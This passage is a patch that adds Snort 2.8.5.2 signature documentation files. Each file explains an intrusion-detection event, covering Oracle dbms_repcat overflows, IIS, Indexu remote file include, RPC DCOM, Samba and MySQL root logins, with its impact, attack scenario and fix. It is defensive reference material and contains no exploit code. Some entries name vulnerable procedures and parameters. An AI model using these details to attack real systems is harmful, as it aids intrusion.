+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS264
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCAN-1999-1228
+
+Security Focus:
+http://www.securityfocus.com/archive/1/10706
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2721.txt
+++ snort-2.8.5.2/doc/signatures/2721.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2721
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_columns_to_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/700.txt
+++ snort-2.8.5.2/doc/signatures/700.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+700
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2766.txt
+++ snort-2.8.5.2/doc/signatures/2766.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2766
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_columns_from_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1214.txt
+++ snort-2.8.5.2/doc/signatures/1214.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1214
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000582.txt
+++ snort-2.8.5.2/doc/signatures/100000582.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000582
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_view_hierarchy.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_view_hierarchy.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1064.txt
+++ snort-2.8.5.2/doc/signatures/1064.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1064
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2480.txt
+++ snort-2.8.5.2/doc/signatures/2480.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a service via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a service
+on a system using SMB across the network.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may try to deny services to other users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1008.txt
+++ snort-2.8.5.2/doc/signatures/1008.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1008
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1034.txt
+++ snort-2.8.5.2/doc/signatures/1034.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1034
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/371.txt
+++ snort-2.8.5.2/doc/signatures/371.txt
@@ -0,0 +1,55 @@
+Rule:
+--
+Sid:
+371
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Cisco IOS 9.x system.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a system running Cisco IOS 9.x contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS153
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1683.txt
+++ snort-2.8.5.2/doc/signatures/1683.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1683
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2768.txt
+++ snort-2.8.5.2/doc/signatures/2768.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2768
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_grouped_column
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2298.txt
+++ snort-2.8.5.2/doc/signatures/2298.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2298
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3402.txt
+++ snort-2.8.5.2/doc/signatures/3402.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3402
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3387.txt
+++ snort-2.8.5.2/doc/signatures/3387.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3387
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1792.txt
+++ snort-2.8.5.2/doc/signatures/1792.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+1792
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Mnews.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A buffer overflow condition exists in Mnews, an NNTP and mail client.
+The overflow can be caused by a server sending enough data with a 200
+response to overwrite stack memory and so present the attacker with the
+oppotunity to execute code of their choosing.
+
+--
+Affected Systems:
+	FreeBSD 4.1
+	FreeBSD 4.2
+	FreeBSD 4.3
+	FreeBSD 4.4
+	FreeBSD 4.5
+
+--
+Attack Scenarios:
+The attacker needs to send enough extra data with the 200 response from
+a server to cause the overflow.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0909
+
+Bugtraq:
+http://www.securityfocus.com/bid/4900
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2469.txt
+++ snort-2.8.5.2/doc/signatures/2469.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2469
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1675.txt
+++ snort-2.8.5.2/doc/signatures/1675.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1675
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000632.txt
+++ snort-2.8.5.2/doc/signatures/100000632.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000632
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "summary.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "summary.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3456.txt
+++ snort-2.8.5.2/doc/signatures/3456.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+3456
+
+-- 
+
+Summary: 
+This event is generated when the user "root" logs in to a MySQL database from an external source.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when someone using the name "root" logs in to a MySQL database.
+
+The 'root' user may have access to all databases on the system, with full privileges to add users, delete data, add information, etc.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. The user logs in with the username 'root', full access is then granted to that user for all databases served by the MySQL daemon. The attacker may then continue to gain sensitive information from any database in the system.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in as the root user from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-18.txt
+++ snort-2.8.5.2/doc/signatures/119-18.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+119-18
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Directory traversal outside the root directory of a web server.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects an
+attempt to escape the root directory of a web server by an attacker
+using a directory traversal technique.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
